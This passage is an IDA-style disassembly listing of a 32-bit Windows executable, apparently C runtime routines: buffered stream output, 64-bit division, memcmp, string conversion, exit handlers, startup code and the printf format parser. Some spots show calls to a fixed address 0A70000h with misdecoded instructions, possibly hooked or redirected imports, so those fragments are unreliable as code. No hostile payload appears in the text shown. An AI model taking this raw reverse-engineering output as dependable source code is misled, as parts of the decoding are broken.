edi, ebx loc_41572A: ; CODE XREF: sub_41568F+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_41A4BA add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_415785 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_415785 loc_415747: ; CODE XREF: sub_41568F+70j mov edi, [ebp+var_4] jmp short loc_415775 ; --------------------------------------------------------------------------- loc_41574C: ; CODE XREF: sub_41568F+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_415CC7 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41578E inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_415775 mov [ebp+arg_C], 1 loc_415775: ; CODE XREF: sub_41568F+BBj ; sub_41568F+DDj test ebx, ebx jnz loc_4156CD mov eax, [ebp+arg_8] loc_415780: ; CODE XREF: sub_41568F+1Fj ; sub_41568F+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_415785: ; CODE XREF: sub_41568F+ADj ; sub_41568F+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_415790 ; --------------------------------------------------------------------------- loc_41578E: ; CODE XREF: sub_41568F+84j ; sub_41568F+CFj mov eax, edi loc_415790: ; CODE XREF: sub_41568F+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_415780 sub_41568F endp ; =============== S U B R O U T I N E ======================================= sub_415799 proc near ; CODE XREF: sub_40A68C+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call ds:dword_41F07C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_4157B9 call ds:dword_41F068 ; RtlGetLastWin32Error push eax call sub_41A667 pop ecx loc_4157B5: ; CODE XREF: sub_415799+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4157B9: ; CODE XREF: sub_415799+Dj test al, 1 jz short loc_4157DA test [esp+arg_4], 2 jz short loc_4157DA mov ds:dword_45E804, 0Dh mov ds:dword_45E808, 5 jmp short loc_4157B5 ; --------------------------------------------------------------------------- loc_4157DA: ; CODE XREF: sub_415799+22j ; sub_415799+29j xor eax, eax retn sub_415799 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4157E0 proc near ; CODE XREF: sub_40A7B6+5Fp ; sub_40A7B6+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_415801 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_415801: ; CODE XREF: sub_4157E0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41581D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41581D: ; CODE XREF: sub_4157E0+27j or eax, eax jnz short loc_415839 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41587A ; --------------------------------------------------------------------------- loc_415839: ; CODE XREF: sub_4157E0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_415847: ; CODE XREF: sub_4157E0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_415847 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_415875 cmp edx, [esp+0Ch+arg_4] ja short loc_415875 jb short loc_415876 cmp eax, [esp+0Ch+arg_0] jbe short loc_415876 loc_415875: ; CODE XREF: sub_4157E0+85j ; sub_4157E0+8Bj dec esi loc_415876: ; CODE XREF: sub_4157E0+8Dj ; sub_4157E0+93j xor edx, edx mov eax, esi loc_41587A: ; CODE XREF: sub_4157E0+57j dec edi jnz short loc_415884 neg edx neg eax sbb edx, 0 loc_415884: ; CODE XREF: sub_4157E0+9Bj pop ebx pop esi pop edi retn 10h sub_4157E0 endp ; =============== S U B R O U T I N E ======================================= sub_41588A proc near ; CODE XREF: seg000:00415C1Bp mov eax, ds:off_42D0BC test eax, eax jz short loc_415895 call eax ; sub_413FD1 loc_415895: ; CODE XREF: sub_41588A+7j push offset dword_421024 push offset dword_421010 call sub_415972 push offset dword_42100C push offset dword_421000 call sub_415972 add esp, 10h retn sub_41588A endp ; =============== S U B R O U T I N E ======================================= sub_4158B7 proc near ; CODE XREF: seg000:00415C5Ap arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_4158D9 add esp, 0Ch retn sub_4158B7 endp ; =============== S U B R O U T I N E ======================================= sub_4158C8 proc near ; CODE XREF: seg000:00415C79p ; sub_415C7E+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_4158D9 add esp, 0Ch retn sub_4158C8 endp ; =============== S U B R O U T I N E ======================================= sub_4158D9 proc near ; CODE XREF: sub_4158B7+8p ; sub_4158C8+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi push 1 pop edi cmp ds:dword_45E84C, edi jnz short near ptr loc_4158F1+5 push [esp+4+arg_0] call near ptr 0A70000h bound edx, [eax-18h] loc_4158F1: ; CODE XREF: sub_4158D9+Aj or esp, [edi-7CB5FF9Bh] jl short loc_41591D or al, 0 push ebx mov ebx, [esp+0Ch+arg_4] mov ds:dword_45E848, edi mov ds:byte_45E844, bl jnz short loc_41594A mov eax, ds:dword_45FE74 test eax, eax jz short loc_415939 mov ecx, ds:dword_45FE70 loc_41591D: ; CODE XREF: sub_4158D9+1Ej push esi lea esi, [ecx-4] cmp esi, eax jb short loc_415938 loc_415925: ; CODE XREF: sub_4158D9+5Dj mov eax, [esi] test eax, eax jz short loc_41592D call eax loc_41592D: ; CODE XREF: sub_4158D9+50j sub esi, 4 cmp esi, ds:dword_45FE74 jnb short loc_415925 loc_415938: ; CODE XREF: sub_4158D9+4Aj pop esi loc_415939: ; CODE XREF: sub_4158D9+3Cj push offset dword_421030 push offset dword_421028 call sub_415972 pop ecx pop ecx loc_41594A: ; CODE XREF: sub_4158D9+33j push offset dword_42103C push offset dword_421034 call sub_415972 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_415970 push dword ptr [esp+8] mov ds:dword_45E84C, edi call ds:dword_41F104 ; ExitProcess loc_415970: ; CODE XREF: sub_4158D9+85j pop edi retn sub_4158D9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415972 proc near ; CODE XREF: sub_41588A+15p ; sub_41588A+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_415977: ; CODE XREF: sub_415972+16j cmp esi, [esp+4+arg_4] jnb short loc_41598A mov eax, [esi] test eax, eax jz short loc_415985 call eax loc_415985: ; CODE XREF: sub_415972+Fj add esi, 4 jmp short loc_415977 ; --------------------------------------------------------------------------- loc_41598A: ; CODE XREF: sub_415972+9j pop esi retn sub_415972 endp ; =============== S U B R O U T I N E ======================================= sub_41598C proc near ; CODE XREF: seg000:0040DE05p arg_0 = dword ptr 4 push [esp+arg_0] call near ptr 0A70000h les eax, [ebp-0F78A40h] adc eax, offset dword_41F068 jmp short loc_4159A4 ; --------------------------------------------------------------------------- xor eax, eax loc_4159A4: ; CODE XREF: sub_41598C+14j test eax, eax jz short loc_4159B3 push eax call sub_41A667 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4159B3: ; CODE XREF: sub_41598C+1Aj xor eax, eax retn sub_41598C endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_415A0C mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_415A0D test eax, 1 jz short loc_4159ED mov cl, [esi] cmp cl, [edi] jnz short loc_415A3A inc esi inc edi dec eax jz short loc_415A0A loc_4159ED: ; CODE XREF: seg000:004159E0j ; seg000:00415A08j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_415A3A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_415A3A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_4159ED loc_415A0A: ; CODE XREF: seg000:004159EBj ; seg000:00415A44j pop edi pop esi locret_415A0C: ; CODE XREF: seg000:004159C6j retn ; --------------------------------------------------------------------------- loc_415A0D: ; CODE XREF: seg000:004159D9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_415A42 repe cmpsd jz short loc_415A42 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_415A35 cmp ch, dh jnz short loc_415A35 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_415A35 cmp ch, dh loc_415A35: ; CODE XREF: seg000:00415A23j ; seg000:00415A27j ... mov eax, 0 loc_415A3A: ; CODE XREF: seg000:004159E6j ; seg000:004159F3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_415A42: ; CODE XREF: seg000:00415A15j ; seg000:00415A19j test eax, eax jz short loc_415A0A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_415A35 dec eax jz short loc_415A69 cmp dh, ch jnz short loc_415A35 dec eax jz short loc_415A69 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_415A35 dec eax loc_415A69: ; CODE XREF: seg000:00415A4Fj ; seg000:00415A56j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_415A6C proc near ; CODE XREF: seg000:00412062p ; sub_412A1E+236p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_415A83 loc_415A79: ; CODE XREF: sub_415A6C+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_415A79 loc_415A83: ; CODE XREF: sub_415A6C+Bj sub eax, ecx sar eax, 1 dec eax retn sub_415A6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A89 proc near ; CODE XREF: seg000:00412026p ; seg000:00412056p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_415B56 mov edi, [ebp+arg_8] cmp edi, esi jz loc_415B83 cmp ds:dword_45E898, esi jnz short loc_415ADA cmp edi, esi jbe loc_415B83 loc_415AB9: ; CODE XREF: sub_415A89+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_415B83 inc eax inc edx inc edx cmp eax, edi jb short loc_415AB9 jmp loc_415B83 ; --------------------------------------------------------------------------- loc_415ADA: ; CODE XREF: sub_415A89+26j mov ebx, [ebp+arg_4] mov esi, ds:dword_41F12C push edi push edx push 0FFFFFFFFh push ebx push 9 push ds:dword_45E8A8 call esi ; dword_41F12C test eax, eax jnz loc_415B82 call ds:dword_41F068 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_415B14 loc_415B05: ; CODE XREF: sub_415A89+CBj ; sub_415A89+F7j mov ds:dword_45E804, 2Ah or eax, 0FFFFFFFFh jmp short loc_415B83 ; --------------------------------------------------------------------------- loc_415B14: ; CODE XREF: sub_415A89+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_415B1C: ; CODE XREF: sub_415A89+B3j mov cl, [eax] test cl, cl jz short loc_415B3E mov edx, ds:off_42D0F0 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_415B33 inc eax loc_415B33: ; CODE XREF: sub_415A89+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_415B1C loc_415B3E: ; CODE XREF: sub_415A89+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push ds:dword_45E8A8 call esi ; dword_41F12C test eax, eax jnz short loc_415B83 jmp short loc_415B05 ; --------------------------------------------------------------------------- loc_415B56: ; CODE XREF: sub_415A89+Fj cmp ds:dword_45E898, esi jnz short loc_415B69 push [ebp+arg_4] call sub_413DB0 pop ecx jmp short loc_415B83 ; --------------------------------------------------------------------------- loc_415B69: ; CODE XREF: sub_415A89+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push ds:dword_45E8A8 call ds:dword_41F12C ; MultiByteToWideChar cmp eax, esi jz short loc_415B05 loc_415B82: ; CODE XREF: sub_415A89+6Bj dec eax loc_415B83: ; CODE XREF: sub_415A89+1Aj ; sub_415A89+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_415A89 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41F670 push offset sub_41AE98 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call ds:dword_41F160 ; GetVersion xor edx, edx mov dl, ah mov ds:dword_45E81C, edx mov ecx, eax and ecx, 0FFh mov ds:dword_45E818, ecx shl ecx, 8 add ecx, edx mov ds:dword_45E814, ecx shr eax, 10h mov ds:dword_45E810, eax xor esi, esi push esi call sub_416B13 pop ecx test eax, eax jnz short loc_415BF4 push 1Ch call sub_415CA3 pop ecx loc_415BF4: ; CODE XREF: seg000:00415BEAj mov [ebp-4], esi call loc_41ACE2 call near ptr 0A70000h inc eax mov ds:dword_45FE64, eax call sub_41ABB0 mov ds:dword_45E850, eax call sub_41A963 call sub_41A8AA call sub_41588A mov [ebp-30h], esi lea eax, [ebp-5Ch] push eax call near ptr 0A70000h scasb call sub_41A852 mov [ebp-64h], eax test byte ptr [ebp-30h], 1 jz short loc_415C41 movzx eax, word ptr [ebp-2Ch] jmp short loc_415C44 ; --------------------------------------------------------------------------- loc_415C41: ; CODE XREF: seg000:00415C39j push 0Ah pop eax loc_415C44: ; CODE XREF: seg000:00415C3Fj push eax push dword ptr [ebp-64h] push esi push esi call near ptr 0A70000h hlt ; --------------------------------------------------------------------------- push eax call loc_40AB10 mov [ebp-60h], eax push eax call sub_4158B7 mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call sub_41A6CE pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_4158C8 ; =============== S U B R O U T I N E ======================================= sub_415C7E proc near ; CODE XREF: sub_4148E2+16p ; sub_41A8AA+4Ep ... arg_0 = dword ptr 4 cmp ds:dword_45E858, 1 jnz short loc_415C8C call sub_41AF70 loc_415C8C: ; CODE XREF: sub_415C7E+7j push [esp+arg_0] call sub_41AFA9 push 0FFh call ds:off_42D0E0 pop ecx pop ecx retn sub_415C7E endp ; =============== S U B R O U T I N E ======================================= sub_415CA3 proc near ; CODE XREF: seg000:00415BEEp arg_0 = dword ptr 4 cmp ds:dword_45E858, 1 jnz short loc_415CB1 call sub_41AF70 loc_415CB1: ; CODE XREF: sub_415CA3+7j push [esp+arg_0] call sub_41AFA9 pop ecx push 0FFh call ds:dword_41F104 ; ExitProcess retn sub_415CA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CC7 proc near ; CODE XREF: sub_4135AD+46p ; sub_413B2A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_415DD0 test al, 40h jnz loc_415DD0 test al, 1 jz short loc_415CFF and dword ptr [esi+4], 0 test al, 10h jz loc_415DD0 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_415CFF: ; CODE XREF: sub_415CC7+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_415D39 cmp esi, offset dword_42D808 jz short loc_415D27 cmp esi, offset dword_42D828 jnz short loc_415D32 loc_415D27: ; CODE XREF: sub_415CC7+56j push ebx call sub_41B140 test eax, eax pop ecx jnz short loc_415D39 loc_415D32: ; CODE XREF: sub_415CC7+5Ej push esi call sub_41B0FC pop ecx loc_415D39: ; CODE XREF: sub_415CC7+4Ej ; sub_415CC7+69j test word ptr [esi+0Ch], 108h push edi jz short loc_415DA6 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_415D69 push edi push eax push ebx call sub_41A4BA add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_415D9C ; --------------------------------------------------------------------------- loc_415D69: ; CODE XREF: sub_415CC7+90j cmp ebx, 0FFFFFFFFh jz short loc_415D84 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, ds:dword_45FB20[eax*4] lea eax, [eax+ecx*8] jmp short loc_415D89 ; --------------------------------------------------------------------------- loc_415D84: ; CODE XREF: sub_415CC7+A5j mov eax, offset dword_42D750 loc_415D89: ; CODE XREF: sub_415CC7+BBj test byte ptr [eax+4], 20h jz short loc_415D9C push 2 push 0 push ebx call sub_419C0F add esp, 0Ch loc_415D9C: ; CODE XREF: sub_415CC7+A0j ; sub_415CC7+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_415DBA ; --------------------------------------------------------------------------- loc_415DA6: ; CODE XREF: sub_415CC7+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41A4BA add esp, 0Ch mov [ebp+arg_4], eax loc_415DBA: ; CODE XREF: sub_415CC7+DDj cmp [ebp+arg_4], edi pop edi jz short loc_415DC6 or dword ptr [esi+0Ch], 20h jmp short loc_415DD5 ; --------------------------------------------------------------------------- loc_415DC6: ; CODE XREF: sub_415CC7+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_415DD8 ; --------------------------------------------------------------------------- loc_415DD0: ; CODE XREF: sub_415CC7+10j ; sub_415CC7+18j ... or al, 20h mov [esi+0Ch], eax loc_415DD5: ; CODE XREF: sub_415CC7+FDj or eax, 0FFFFFFFFh loc_415DD8: ; CODE XREF: sub_415CC7+107j pop esi pop ebx pop ebp retn sub_415CC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DDC proc near ; CODE XREF: sub_4135AD+29p ; sub_413B2A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_4164F5 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_415E10 ; --------------------------------------------------------------------------- loc_415E08: ; CODE XREF: sub_415DDC+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_415E10: ; CODE XREF: sub_415DDC+2Aj cmp [ebp+var_14], edx jl loc_4164F5 cmp bl, 20h jl short loc_415E31 cmp bl, 78h jg short loc_415E31 movsx eax, bl mov al, [eax+41F65Ch] and eax, 0Fh jmp short loc_415E33 ; --------------------------------------------------------------------------- loc_415E31: ; CODE XREF: sub_415DDC+40j ; sub_415DDC+45j xor eax, eax loc_415E33: ; CODE XREF: sub_415DDC+53j movsx eax, ds:byte_41F67C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_4164E4 ; default jmp ds:off_4164FD[eax*4] ; switch jump loc_415E51: ; DATA XREF: seg000:off_4164FDo or [ebp+var_10], 0FFFFFFFFh ; jumptable 00415E4A case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_4164E4 ; default ; --------------------------------------------------------------------------- loc_415E6C: ; CODE XREF: sub_415DDC+6Ej ; DATA XREF: seg000:off_4164FDo movsx eax, bl ; jumptable 00415E4A case 2 sub eax, 20h jz short loc_415EAF sub eax, 3 jz short loc_415EA6 sub eax, 8 jz short loc_415E9D dec eax dec eax jz short loc_415E94 sub eax, 3 jnz loc_4164E4 ; default or [ebp+var_4], 8 jmp loc_4164E4 ; default ; --------------------------------------------------------------------------- loc_415E94: ; CODE XREF: sub_415DDC+A4j or [ebp+var_4], 4 jmp loc_4164E4 ; default ; --------------------------------------------------------------------------- loc_415E9D: ; CODE XREF: sub_415DDC+A0j or [ebp+var_4], 1 jmp loc_4164E4 ; default ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: sub_415DDC+9Bj or byte ptr [ebp+var_4], 80h jmp loc_4164E4 ; default ; --------------------------------------------------------------------------- loc_415EAF: ; CODE XREF: sub_415DDC+96j or [ebp+var_4], 2 jmp loc_4164E4 ; default ; --------------------------------------------------------------------------- loc_415EB8: ; CODE XREF: sub_415DDC+6Ej ; DATA XREF: seg000:off_4164FDo cmp bl, 2Ah ; jumptable 00415E4A case 3 jnz short loc_415EE0 lea eax, [ebp+arg_8] push eax call sub_4165BB test eax, eax pop ecx mov [ebp+var_20], eax jge loc_4164E4 ; default or [ebp+var_4], 4 neg eax loc_415ED8: ; CODE XREF: sub_415DDC+111j mov [ebp+var_20], eax jmp loc_4164E4 ; default ; --------------------------------------------------------------------------- loc_415EE0: ; CODE XREF: sub_415DDC+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_415ED8 ; --------------------------------------------------------------------------- loc_415EEF: ; CODE XREF: sub_415DDC+6Ej ; DATA XREF: seg000:off_4164FDo mov [ebp+var_10], edx ; jumptable 00415E4A case 4 jmp loc_4164E4 ; default ; --------------------------------------------------------------------------- loc_415EF7: ; CODE XREF: sub_415DDC+6Ej ; DATA XREF: seg000:off_4164FDo cmp bl, 2Ah ; jumptable 00415E4A case 5 jnz short loc_415F1A lea eax, [ebp+arg_8] push eax call sub_4165BB test eax, eax pop ecx mov [ebp+var_10], eax jge loc_4164E4 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_4164E4 ; default ; --------------------------------------------------------------------------- loc_415F1A: ; CODE XREF: sub_415DDC+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_4164E4 ; default ; --------------------------------------------------------------------------- loc_415F2C: ; CODE XREF: sub_415DDC+6Ej ; DATA XREF: seg000:off_4164FDo cmp bl, 49h ; jumptable 00415E4A case 6 jz short loc_415F5F cmp bl, 68h jz short loc_415F56 cmp bl, 6Ch jz short loc_415F4D cmp bl, 77h jnz loc_4164E4 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_4164E4 ; default ; --------------------------------------------------------------------------- loc_415F4D: ; CODE XREF: sub_415DDC+15Dj or [ebp+var_4], 10h jmp loc_4164E4 ; default ; --------------------------------------------------------------------------- loc_415F56: ; CODE XREF: sub_415DDC+158j or [ebp+var_4], 20h jmp loc_4164E4 ; default ; --------------------------------------------------------------------------- loc_415F5F: ; CODE XREF: sub_415DDC+153j cmp byte ptr [edi], 36h jnz short loc_415F78 cmp byte ptr [edi+1], 34h jnz short loc_415F78 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_4164E4 ; default ; --------------------------------------------------------------------------- loc_415F78: ; CODE XREF: sub_415DDC+186j ; sub_415DDC+18Cj mov [ebp+var_30], edx loc_415F7B: ; CODE XREF: sub_415DDC+6Ej ; DATA XREF: seg000:off_4164FDo mov ecx, ds:off_42D0F0 ; jumptable 00415E4A case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_415FA7 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41651D mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_415FA7: ; CODE XREF: sub_415DDC+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41651D add esp, 0Ch jmp loc_4164E4 ; default ; --------------------------------------------------------------------------- loc_415FBF: ; CODE XREF: sub_415DDC+6Ej ; DATA XREF: seg000:off_4164FDo movsx eax, bl ; jumptable 00415E4A case 7 cmp eax, 67h jg loc_4161E7 cmp eax, 65h jge loc_41606A cmp eax, 58h jg loc_4160C8 jz loc_41625B sub eax, 43h jz loc_41608B dec eax dec eax jz short loc_416060 dec eax dec eax jz short loc_416060 sub eax, 0Ch jnz loc_4163E6 test word ptr [ebp+var_4], 830h jnz short loc_416009 or byte ptr [ebp+var_4+1], 8 loc_416009: ; CODE XREF: sub_415DDC+227j ; sub_415DDC+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_416016 mov esi, 7FFFFFFFh loc_416016: ; CODE XREF: sub_415DDC+233j lea eax, [ebp+arg_8] push eax call sub_4165BB test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41622F test ecx, ecx jnz short loc_41603E mov ecx, ds:off_42D0EC mov [ebp+var_8], ecx loc_41603E: ; CODE XREF: sub_415DDC+257j mov [ebp+var_24], 1 mov eax, ecx loc_416047: ; CODE XREF: sub_415DDC+282j mov edx, esi dec esi test edx, edx jz loc_416226 cmp word ptr [eax], 0 jz loc_416226 inc eax inc eax jmp short loc_416047 ; --------------------------------------------------------------------------- loc_416060: ; CODE XREF: sub_415DDC+212j ; sub_415DDC+216j mov [ebp+var_34], 1 add bl, 20h loc_41606A: ; CODE XREF: sub_415DDC+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41614E mov [ebp+var_10], 6 jmp loc_41615C ; --------------------------------------------------------------------------- loc_41608B: ; CODE XREF: sub_415DDC+20Aj test word ptr [ebp+var_4], 830h jnz short loc_416097 or byte ptr [ebp+var_4+1], 8 loc_416097: ; CODE XREF: sub_415DDC+2B5j ; sub_415DDC+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_4160DE call sub_4165D8 push eax lea eax, [ebp+var_248] push eax call sub_41B21F add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_4160F1 mov [ebp+var_28], 1 jmp short loc_4160F1 ; --------------------------------------------------------------------------- loc_4160C8: ; CODE XREF: sub_415DDC+1FBj sub eax, 5Ah jz short loc_4160FF sub eax, 9 jz short loc_416097 dec eax jz loc_4162C1 jmp loc_4163E6 ; --------------------------------------------------------------------------- loc_4160DE: ; CODE XREF: sub_415DDC+2C5j call sub_4165BB pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_4160F1: ; CODE XREF: sub_415DDC+2E1j ; sub_415DDC+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_4163E6 ; --------------------------------------------------------------------------- loc_4160FF: ; CODE XREF: sub_415DDC+2EFj lea eax, [ebp+arg_8] push eax call sub_4165BB test eax, eax pop ecx jz short loc_416140 mov ecx, [eax+4] test ecx, ecx jz short loc_416140 test byte ptr [ebp+var_4+1], 8 jz short loc_416131 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_4163E6 ; --------------------------------------------------------------------------- loc_416131: ; CODE XREF: sub_415DDC+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_4163E3 ; --------------------------------------------------------------------------- loc_416140: ; CODE XREF: sub_415DDC+32Fj ; sub_415DDC+336j mov eax, ds:off_42D0E8 mov [ebp+var_8], eax push eax jmp loc_4161DC ; --------------------------------------------------------------------------- loc_41614E: ; CODE XREF: sub_415DDC+29Dj jnz short loc_41615C cmp bl, 67h jnz short loc_41615C mov [ebp+var_10], 1 loc_41615C: ; CODE XREF: sub_415DDC+2AAj ; sub_415DDC:loc_41614Ej ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call ds:off_42D428 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_4161AE cmp [ebp+var_10], 0 jnz short loc_4161AE lea eax, [ebp+var_248] push eax call ds:off_42D434 pop ecx loc_4161AE: ; CODE XREF: sub_415DDC+3BCj ; sub_415DDC+3C2j cmp bl, 67h jnz short loc_4161C5 test esi, esi jnz short loc_4161C5 